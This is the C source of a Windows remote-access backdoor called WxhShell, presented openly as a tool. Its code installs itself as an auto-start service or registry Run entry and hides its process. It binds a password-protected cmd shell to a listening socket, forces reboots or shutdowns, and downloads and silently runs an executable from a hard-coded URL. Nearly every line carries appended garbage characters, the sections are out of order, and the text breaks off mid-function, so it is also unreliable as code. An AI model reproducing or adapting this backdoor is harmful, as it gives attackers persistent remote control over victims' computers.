  case 'd': { =xI'|%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6&eXQl  
    if(Boot(SHUTDOWN)) :V)jm`)#+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cu0IFNF}[  
    else { f`uRC-B/  
    closesocket(wsh); 2(xC|  
    ExitThread(0); E s5: S#  
    } 'Be'!9K*d  
    break; L EgP-s W  
    } l:!L+t*}6  
  // 获取shell "S%t\  
  case 's': { <'I["Um  
    CmdShell(wsh); &&X,1/  
    closesocket(wsh); .z`70ot?  
    ExitThread(0); G:1'}RC :  
    break; mUh]`/MK$  
  } Mn.,?IF`K  
  // 退出 (hzN(Dh  
  case 'x': { ssi7)0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MePD:;mm^  
    CloseIt(wsh); $>XeC}"x68  
    break; ~t`s&t'c|  
    } ?0VR2Yb${b  
  // 离开 yJm"vN  
  case 'q': { aKbmj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %T{]l;5  
    closesocket(wsh); }Q/onB t  
    WSACleanup(); AC) M2;  
    exit(1); jV3PTU  
    break; "#j}F u_!  
        } B )r-,M  
  } DYD<?._I  
  } az(<<2=  
PLyity-L[7  
  // 提示信息 \n) ',4mY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $RaN@& Wm  
} *glZb;_  
  } +$,Re.WnP  
O<gfZ>  
  return; k&]nF,f  
} Z',!LK!  
Ma[EgG  
// shell模块句柄 {3tzr;c?  
int CmdShell(SOCKET sock) 9Eyx Ob  
{ ~?Q sr  
STARTUPINFO si; 9oWU]A\k>  
ZeroMemory(&si,sizeof(si)); !+T1kMP+l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?['!0PF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Tu#< {'1$  
PROCESS_INFORMATION ProcessInfo; =Ph8&l7~sp  
char cmdline[]="cmd"; x *eU~e_jP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,fVD`RR(W?  
  return 0; <>cS@V5j  
} }rTH<! j  
?{{w[U6NE  
// 自身启动模式 |cPHl+$nh.  
int StartFromService(void) o\IMYT  
{ u epyH  
typedef struct Ey46JO"  
{ c3A\~tHW  
  DWORD ExitStatus; }htjT/Nm  
  DWORD PebBaseAddress; dj0; tQ=C  
  DWORD AffinityMask; tMIYVHGy  
  DWORD BasePriority; ]A#lV$  
  ULONG UniqueProcessId; ggr  
  ULONG InheritedFromUniqueProcessId; \hB BG8=&  
}   PROCESS_BASIC_INFORMATION; <uH8Fivb  
`FP?9R6Y  
PROCNTQSIP NtQueryInformationProcess; WNjwv/  
kN1MPd4Yh  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^mS |ff  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'y8{, R4C  
kI{DxuTad  
  HANDLE             hProcess; 4q$~3C[  
  PROCESS_BASIC_INFORMATION pbi; <j'V}|3  
p\6cpf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aV3:{oL  
  if(NULL == hInst ) return 0; ^.SYAwL  
C_.9qo]DT7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \oQ]=dDCd%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DDg\oGLp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l\HdB"nT  
aER|5!7(2\  
  if (!NtQueryInformationProcess) return 0; 9(CvGzco <  
|y\Km  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <AHpk5Sn{  
  if(!hProcess) return 0; uy'ghF  
W? iA P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s[1ao"sZ^  
lo1Ui`V  
  CloseHandle(hProcess); ]rmBM  
5\-uo&#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5jdZC(q5a  
if(hProcess==NULL) return 0; qt GJJ#^,  
.1x04Np!  
HMODULE hMod; ^rkKE dd  
char procName[255]; PxHFH pL  
unsigned long cbNeeded; ;t`  ?|  
EP;/[O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !QUY (  
j =_rUc'Me  
  CloseHandle(hProcess); K~x,so  
T5BZD +Ta  
if(strstr(procName,"services")) return 1; // 以服务启动 G7-BeA8  
E_HB[ 9  
  return 0; // 注册表启动 Qy,^'fSN  
} B~Q-V&@o  
&c`-/8c  
// 主模块 dj|5'<l2  
int StartWxhshell(LPSTR lpCmdLine) ]|;+2@kDR  
{ da{]B5p\  
  SOCKET wsl; $EMOz=)I#  
BOOL val=TRUE; s:`i~hjq  
  int port=0; 85{m+1O~  
  struct sockaddr_in door; o9?@jjqH  
I-7LT?r  
  if(wscfg.ws_autoins) Install(); .b :!qUE^  
$ |4C]Me (  
port=atoi(lpCmdLine); l?Y^3x}j  
`sxfj)s  
if(port<=0) port=wscfg.ws_port; uFd$*`jS  
q^@*{H  
  WSADATA data; yoi4w 7:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LHAlXo;  
:NzJvI<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ycm)PU["  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R+sT &d  
  door.sin_family = AF_INET; #%"q0"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4 p_C+4  
  door.sin_port = htons(port); &[.5@sv  
."K>h3(&V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { K,f:X g!:  
closesocket(wsl); qZoDeN-CC  
return 1; UNI< r  
} I Mgd2qIC  
p:,Y6[gMo  
  if(listen(wsl,2) == INVALID_SOCKET) { ~Eut_d  
closesocket(wsl); W<Uu.Y{sG  
return 1; -H1=N  
} @WJ;T= L  
  Wxhshell(wsl); oL4W>b )  
  WSACleanup(); We+rFk1ddt  
-F[8 ZiZ  
return 0; ^s,3*cAU  
yr]ja-Y  
} \}-4(Xdaq  
y)f.ON36I  
// 以NT服务方式启动 !`ol&QQ#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1I Yip\:lS  
{ _iwG'a[`  
DWORD   status = 0; ^<]'?4m]  
  DWORD   specificError = 0xfffffff; aCQtE,.  
N gNGq\!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Hg+<GML  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P{L=u74b{x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7GA8sK  
  serviceStatus.dwWin32ExitCode     = 0; Wj{lb_Rj  
  serviceStatus.dwServiceSpecificExitCode = 0; B|(g?  
  serviceStatus.dwCheckPoint       = 0; F[qXIL)  
  serviceStatus.dwWaitHint       = 0; t2&kGf"  
:WhJDx`j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sW^M  ]  
  if (hServiceStatusHandle==0) return; &K[*vyD  
5 s7BUT  
status = GetLastError();  CB7dr&>  
  if (status!=NO_ERROR) =j]y?;7q  
{ w+o5iPLX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ];r! M0  
    serviceStatus.dwCheckPoint       = 0; Tw~R-SiS`s  
    serviceStatus.dwWaitHint       = 0; :\T Mm>%q  
    serviceStatus.dwWin32ExitCode     = status; >T$0*7wF  
    serviceStatus.dwServiceSpecificExitCode = specificError; W? 7l-k=S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G1:}{a5i_  
    return; EIi<g2pM(  
  } D?|D)"?qb  
hW7u#PY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9O[IR)O~  
  serviceStatus.dwCheckPoint       = 0; [X(m[u'%  
  serviceStatus.dwWaitHint       = 0; jzvK;*N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {sTf4S\S  
} n}p G&&;q  
NW|B|kc  
// 处理NT服务事件,比如:启动、停止 e8a^"Z`a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i4C{3J^  
{ ?2<QoS  
switch(fdwControl) ",r v%i2 f  
{ G  hM  
case SERVICE_CONTROL_STOP: #h!+b  
  serviceStatus.dwWin32ExitCode = 0; c '|*{%<e2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6#w>6g4V~R  
  serviceStatus.dwCheckPoint   = 0; G,8mFH  
  serviceStatus.dwWaitHint     = 0; QE<Z@/V*a  
  { OqGp|`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (qcFGM22U  
  } $C16}^  
  return; OT#@\/>  
case SERVICE_CONTROL_PAUSE: +)jUA]hJ/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F)P:lvp<r  
  break; QE]@xLz   
case SERVICE_CONTROL_CONTINUE: l;F"m+B!$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZvY"yl?e  
  break; ,%i Scr,z  
case SERVICE_CONTROL_INTERROGATE: [i.@q}c~E  
  break; vrn4yHoZ  
}; t]c<HDCK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YOxgpQ:i  
} cS&KD@.  
O7.V>7Y9H  
// 标准应用程序主函数 UlXm4\@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9~ p;iiKGG  
{ EPo)7<|>  
Z bRRDXk!  
// 获取操作系统版本 )1<0c@g=  
OsIsNt=GetOsVer(); PW*Vfjf4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j }~?&yB  
{uDW<u_!  
  // 从命令行安装 8lQ/cGAc  
  if(strpbrk(lpCmdLine,"iI")) Install(); hzD)yf  
a%go[_w  
  // 下载执行文件 B'/U#>/  
if(wscfg.ws_downexe) { ]#~J[uk  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1eXMMZ/?  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3=S |U,  
} vgW(l2,@  
ra^</o/  
if(!OsIsNt) { 2 BY|Cp4R  
// 如果时win9x,隐藏进程并且设置为注册表启动 zD_5TG M=  
HideProc(); 4^(x)r &(?  
StartWxhshell(lpCmdLine); e9acI>^w  
} 32GI+NN  
else s>9I#_4]  
  if(StartFromService()) Vjs2Yenx  
  // 以服务方式启动 %<i sdvF  
  StartServiceCtrlDispatcher(DispatchTable); b:1B >  
else 5nPvEN/  
  // 普通方式启动 kHg|!  
  StartWxhshell(lpCmdLine); H4Bt.5O*  
& -/J~b)"  
return 0; QPy h.9:N  
} DpHubqWz  
LP3#f{U  
>^8O:.  
v}>g* @  
=========================================== +=WBH'  
QW..=}pL  
CKw-HgXG  
)\U:e:Zae  
}0 ~$^J  
/fQcrd7h  
" e]<Syrk  
.+7n@Sc  
#include <stdio.h> d% EdvM|)  
#include <string.h> DLwlA !z  
#include <windows.h> piIZ*@'  
#include <winsock2.h> t%@iF U;}  
#include <winsvc.h> b~;:[ #  
#include <urlmon.h> I!zoo[/)%  
x1=`Z@^  
#pragma comment (lib, "Ws2_32.lib") U<6)CW1;  
#pragma comment (lib, "urlmon.lib") GzEw~JAs  
c<13r=+  
#define MAX_USER   100 // 最大客户端连接数 kn#?+Q  
#define BUF_SOCK   200 // sock buffer 9WHE4'Sa  
#define KEY_BUFF   255 // 输入 buffer l4gH]!/@  
q\tr&@4iC  
#define REBOOT     0   // 重启 /OKp(u;)z  
#define SHUTDOWN   1   // 关机 a- *sm~u  
su0K#*P&I  
#define DEF_PORT   5000 // 监听端口 \:'GAByy  
;v8TT}R  
#define REG_LEN     16   // 注册表键长度 Y] 1U1 08  
#define SVC_LEN     80   // NT服务名长度 \Y,P  
(U\o0LI  
// 从dll定义API i7RK*{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R0M>'V?e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O!PGZuF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e {6wFN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _d!sSyk`  
5?3v;B6  
// wxhshell配置信息 f y|JE9Io_  
struct WSCFG { CfOyHhhKX  
  int ws_port;         // 监听端口 d 6Y9D=O  
  char ws_passstr[REG_LEN]; // 口令 ['QhC({  
  int ws_autoins;       // 安装标记, 1=yes 0=no $y;w@^  
  char ws_regname[REG_LEN]; // 注册表键名 II^Rp],>  
  char ws_svcname[REG_LEN]; // 服务名 ~U+<JC Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eg~ Dm>Es  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y0O(n/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UAjN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Wv>`x?W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hGFi|9/-u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <\*)YKjn/@  
{9J|\Zz3  
}; OL1xxzo  
$7X;FmlG&  
// default Wxhshell configuration *Y1s4FXu2  
struct WSCFG wscfg={DEF_PORT, '4{@F~fu  
    "xuhuanlingzhe", /{({f?k<\/  
    1, C,;?`3bH@  
    "Wxhshell", !,- 'wT<v  
    "Wxhshell", zGe =l;  
            "WxhShell Service", fq1w <e  
    "Wrsky Windows CmdShell Service", 6l|L/Z_6  
    "Please Input Your Password: ", ?23J(;)s  
  1, )^UqB0C6^  
  "http://www.wrsky.com/wxhshell.exe", M"mvPr9  
  "Wxhshell.exe" (muJ-~CJk  
    }; ||2%N/?  
uWGp>;meO  
// 消息定义模块 '>[ZfT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; TaF*ZT2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; QVn2`hr  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }P=FMme{F(  
char *msg_ws_ext="\n\rExit."; lBn<\Y!^  
char *msg_ws_end="\n\rQuit."; W)`>'X`  
char *msg_ws_boot="\n\rReboot..."; EQnU:a  
char *msg_ws_poff="\n\rShutdown..."; Ym%# "  
char *msg_ws_down="\n\rSave to "; '>OEQU5-  
)1 @v<I  
char *msg_ws_err="\n\rErr!"; $_%  
char *msg_ws_ok="\n\rOK!"; n2aUj(Zs=  
y 2k's  
char ExeFile[MAX_PATH]; DvN_}h^nX  
int nUser = 0; &2@"zD  
HANDLE handles[MAX_USER]; zt((TD2  
int OsIsNt; C&q}&=3r  
?n<sN"  
SERVICE_STATUS       serviceStatus; :wzbD,/M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B8cg[;e81  
wV-N\5!r%H  
// 函数声明 )p!") :'fv  
int Install(void); m:EYOe,w  
int Uninstall(void); xR'd}>`  
int DownloadFile(char *sURL, SOCKET wsh); lYS4Q`z$  
int Boot(int flag); NVVAh5R  
void HideProc(void); 3F6'3NvVc2  
int GetOsVer(void); F0m[ls$  
int Wxhshell(SOCKET wsl); C#&b`  
void TalkWithClient(void *cs); w6 Y+Y;,'f  
int CmdShell(SOCKET sock); 8}z PDs  
int StartFromService(void); 'o_ RC{k2"  
int StartWxhshell(LPSTR lpCmdLine); U ;4;>  
(^=kV?<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d6W&u~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VuBi_v6  
/|Gz<nSc  
// 数据结构和表定义 &=8ZGjR< }  
SERVICE_TABLE_ENTRY DispatchTable[] = $ z+ =lF  
{ Z\-Gr 2k  
{wscfg.ws_svcname, NTServiceMain}, 7|m{hSc  
{NULL, NULL} 8Z@O%\1x6  
}; X7aj/:fXe  
hO3C _}  
// 自我安装 Y5>'(A>  
int Install(void) LQ$dT#z2A  
{ 4[0.M  
  char svExeFile[MAX_PATH]; X bV?=  
  HKEY key; (_q&QI0{  
  strcpy(svExeFile,ExeFile); d{^K8T3  
ZDr TPnA[  
// 如果是win9x系统,修改注册表设为自启动 *!EHs04  
if(!OsIsNt) { H]lD*3b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a 8jG')zg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F fzY3r+   
  RegCloseKey(key); kr ?`GQm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .|ZnU]~T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ht)KS9Xu  
  RegCloseKey(key); WtSlD9 h  
  return 0; [yAR%]i-7  
    } {XS2<!D  
  } Zfr?(y+3  
} * 8D(Lp1  
else { el0W0T  
(7aE!r\Ab  
// 如果是NT以上系统,安装为系统服务 Bq:: 5,v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7"_g X  
if (schSCManager!=0) =1kjKE !  
{ 1n ZE9;o  
  SC_HANDLE schService = CreateService $r)nvf`\  
  ( Y0OVzp9 b  
  schSCManager, {Q L qf   
  wscfg.ws_svcname, )3_g&&  
  wscfg.ws_svcdisp, gtP;Qw'  
  SERVICE_ALL_ACCESS, Kib?JRYt  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l\-(li H  
  SERVICE_AUTO_START, |B*`%7{+  
  SERVICE_ERROR_NORMAL, CV,[x[L# {  
  svExeFile, qoD M!~  
  NULL, j[1^#kE  
  NULL, u`X}AKC  
  NULL, U#_rcu  
  NULL, t#J #DyY5  
  NULL p&\x*~6u  
  ); [26([H  
  if (schService!=0) Y6 @A@VJ  
  { 5h(] S[Zf3  
  CloseServiceHandle(schService); Y|i!\Ae  
  CloseServiceHandle(schSCManager); [+y/qx79  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o;:a6D`   
  strcat(svExeFile,wscfg.ws_svcname); 7~q'3 N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W,n0'";')  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0g(hY:  
  RegCloseKey(key); )%OV|\5#  
  return 0; whg?X&j\V  
    } K31rt-IIt  
  } ]pA}h. R#-  
  CloseServiceHandle(schSCManager); <<![3&p#  
} ?G-a:'1!6  
} {z%%(,I  
kR-5RaW  
return 1; , v6[#NU_Z  
} ex2*oqAdX  
Ih95&HsdC  
// 自我卸载 c~Hq.K$d  
int Uninstall(void) LNU9M>  
{ V# 6`PD6  
  HKEY key; = %7:[#n  
"|"bo5M:   
if(!OsIsNt) { F;&'C$%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WYE[H9x1?  
  RegDeleteValue(key,wscfg.ws_regname); Im_`q\i  
  RegCloseKey(key); MgLz:2 :F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qx/GioPU  
  RegDeleteValue(key,wscfg.ws_regname);  /m*vY`  
  RegCloseKey(key); akQtre`5sd  
  return 0; Hw/1~O$T  
  } oZ~M`yOz.  
} ^\\cGJ&8c  
} T3{qn$t8  
else { jX{lo  
$wVY)p9Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c>3W1"  
if (schSCManager!=0)  Wcn^IQ  
{ D058=}^HE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B: uW(E  
  if (schService!=0) 'gE_xn7j  
  { G";yqG  
  if(DeleteService(schService)!=0) { G\IH b |  
  CloseServiceHandle(schService); W"WvkW>-  
  CloseServiceHandle(schSCManager); )5X7|*LP  
  return 0; ?z60b=f8  
  } ^IM;D)X&:  
  CloseServiceHandle(schService); I#f<YbzD  
  } X;p,Wq#D'  
  CloseServiceHandle(schSCManager); 4//Ww6W:  
} s4}}MV3X  
} I)O-i_}L&K  
cEw/F0  
return 1; {N;XjV1x  
} 5kJ>pb$/  
Md[nlz  
// 从指定url下载文件 ?(U> )SvF  
int DownloadFile(char *sURL, SOCKET wsh) U1rh[A>  
{ Y6fU;  
  HRESULT hr; JX/rAnc@  
char seps[]= "/"; 9!FV. yp%F  
char *token; zYj8\iER  
char *file; D x Vt  
char myURL[MAX_PATH]; ;LH?Qu;e  
char myFILE[MAX_PATH]; 4F 8`5)RM  
.)u,sYZA|  
strcpy(myURL,sURL); |)IN20  
  token=strtok(myURL,seps); T.W/S0#j3  
  while(token!=NULL) OY`G_=6!N  
  { /sdkQ{J!.  
    file=token; ,)Z^b$H]  
  token=strtok(NULL,seps); Mi 'eViH  
  } .'7o,)pJ<  
dmrM %a}W-  
GetCurrentDirectory(MAX_PATH,myFILE); >1mCjP  
strcat(myFILE, "\\"); o,Ew7~u  
strcat(myFILE, file); XUUS N  
  send(wsh,myFILE,strlen(myFILE),0); Khw!+!(H  
send(wsh,"...",3,0); k2*^W&Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q:kpaMA1P  
  if(hr==S_OK) R_ 4600  
return 0; G m<t2Csn  
else .f&,~$e4  
return 1; 4y21v|(9  
S` X;2\:  
} X'[S Cs  
1/w['d4l!  
// 系统电源模块 ]b<k%  
int Boot(int flag) S)$ES6]9/  
{ 6z=:x+m  
  HANDLE hToken; -\>Bphu,y  
  TOKEN_PRIVILEGES tkp; ";",r^vr\  
HcQ{ok9u  
  if(OsIsNt) { ~"}-cl,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {v]A`u)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c+|,2e 0T  
    tkp.PrivilegeCount = 1; %qfEFhRC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zc,fJM  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R0\E?9P  
if(flag==REBOOT) { Yw+_( 2 9=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {n%F^ky+7  
  return 0; Ql\{^s+  
} t91v%L   
else { Z10#6v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pU`Q[HOs  
  return 0; Z:9"7^+  
} WRFzb0;01  
  } W/{HZ< :.  
  else { `<Zp!Hl(j  
if(flag==REBOOT) { Ge[N5N>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S4`uNB#Ht  
  return 0; q^goi 1  
} PGu6hV{  
else { =}U`q3k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M.!U;U<?  
  return 0; kY4riZnm  
} ep,kImT  
} ~++y4NB8Q  
H-0A&oG  
return 1; a{69JY5  
} (? YTQ8QR  
i+T$&$b  
// win9x进程隐藏模块 Al' sY^B  
void HideProc(void) Kv!CL9^LX7  
{ )MW.Y  
oXV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gv6EJV1i  
  if ( hKernel != NULL ) ],&WA?>G  
  { hq$:62NYg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2Wq)y1R<T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^B> 4:+^  
    FreeLibrary(hKernel); fkyj&M/  
  } JyYg)f  
i4v7x;m_p  
return; SgFyv<6>:  
} oC.:mI  
}N*6xr*X+  
// 获取操作系统版本 i@Q)`>4  
int GetOsVer(void) {&"rv<p  
{ -&D~TL#  
  OSVERSIONINFO winfo; "F}a nPY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qS|bpC0x  
  GetVersionEx(&winfo); :kfl q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TQ.d|{B[  
  return 1; ?fc({zb  
  else a` 95eL}  
  return 0; R.*KaCA  
} W<u63P  
-GDX#A-J  
// 客户端句柄模块 X]tjT   
int Wxhshell(SOCKET wsl) _)zSjFX9  
{ \ d+&&ns  
  SOCKET wsh; mn?< Zz  
  struct sockaddr_in client; M8:gHjwsx  
  DWORD myID; 5A Vo#}&\  
70mQ{YNN  
  while(nUser<MAX_USER) B@=+Fg DD  
{ VLA9&.*@  
  int nSize=sizeof(client); *pyi;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u==bLl=$  
  if(wsh==INVALID_SOCKET) return 1; ;:hyW,J  
+JB. EW/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S3`zB?7,  
if(handles[nUser]==0) ke2'?,f  
  closesocket(wsh); {1>V~e8t  
else `\(Fax  
  nUser++; 7?qRY9Qu  
  } uf^"Y3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 89U<9j   
P+wV.pF|  
  return 0; Wb68")$  
} yfnqu4Cn  
uK="#1z cC  
// 关闭 socket ~:D}L   
void CloseIt(SOCKET wsh)  }aRV)F  
{ A+69_?B TH  
closesocket(wsh); `BmAu[(e&  
nUser--; KaZ*HPe(  
ExitThread(0); 2N9 BI-a  
} \3hhM}6)DM  
~ 61O  
// 客户端请求句柄 <}pqj3  
void TalkWithClient(void *cs) a9(1 6k  
{ iL)q':xz  
z0t6}E<VIR  
  SOCKET wsh=(SOCKET)cs; nG1 mx/w  
  char pwd[SVC_LEN]; 6,7Fl=<  
  char cmd[KEY_BUFF]; /RT3 r  
char chr[1]; Xl.h&x0? 8  
int i,j; g(7htWr4  
XD<7d")I  
  while (nUser < MAX_USER) { cwlXb!S$  
O{,Uge2n,  
if(wscfg.ws_passstr) { _~d C>`K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y [0 S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qDxz`}Ly=  
  //ZeroMemory(pwd,KEY_BUFF); t^)q[g  
      i=0; $h`?l$jC(@  
  while(i<SVC_LEN) { Yc3r 3Jy  
DzkE*vR  
  // 设置超时 jX$TiG  
  fd_set FdRead; `^-?yu@  
  struct timeval TimeOut; |qE"60&"}  
  FD_ZERO(&FdRead); 1c(1YGuH  
  FD_SET(wsh,&FdRead); 4r\Sbh  
  TimeOut.tv_sec=8; _Z~wpO}/  
  TimeOut.tv_usec=0; U\&kT/6vh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9TjAEeU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .Kv>*__-Q  
c (O+s/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {:$0j|zL1  
  pwd=chr[0]; ..X efNbl  
  if(chr[0]==0xd || chr[0]==0xa) { ~Us1F=i_Q  
  pwd=0; {6!Mf+Xq  
  break; yb2*K+Kv  
  } 9t(B{S  
  i++; ]F r+cP  
    } |{k;p fPV  
!u.{<51b  
  // 如果是非法用户,关闭 socket zO<EbqNe!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $NJ]2P9L  
} iOm~  
.7ESPr  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2-ev7:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mHE4Es0  
Z~F% K~(  
while(1) { T {a%:=`  
c>{6NSS -  
  ZeroMemory(cmd,KEY_BUFF); yb1A(~  
[3>l^Q|#  
      // 自动支持客户端 telnet标准   6|r` k75.  
  j=0; : FF:{&d  
  while(j<KEY_BUFF) { S3PW[R@=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F=kD/GCB  
  cmd[j]=chr[0]; v)N8vFdd  
  if(chr[0]==0xa || chr[0]==0xd) { S])YU?e  
  cmd[j]=0; .J#xlOa-  
  break; AMA :hQ  
  } 1!/cd;{B  
  j++; ;LELC5[*s  
    } yHLc lv  
>P/kb fPA  
  // 下载文件 A0# K@  
  if(strstr(cmd,"http://")) { eC%.xu^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )zlksF  
  if(DownloadFile(cmd,wsh)) -iGt]mbJkP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M6vW}APH[n  
  else j)Zi4<./  
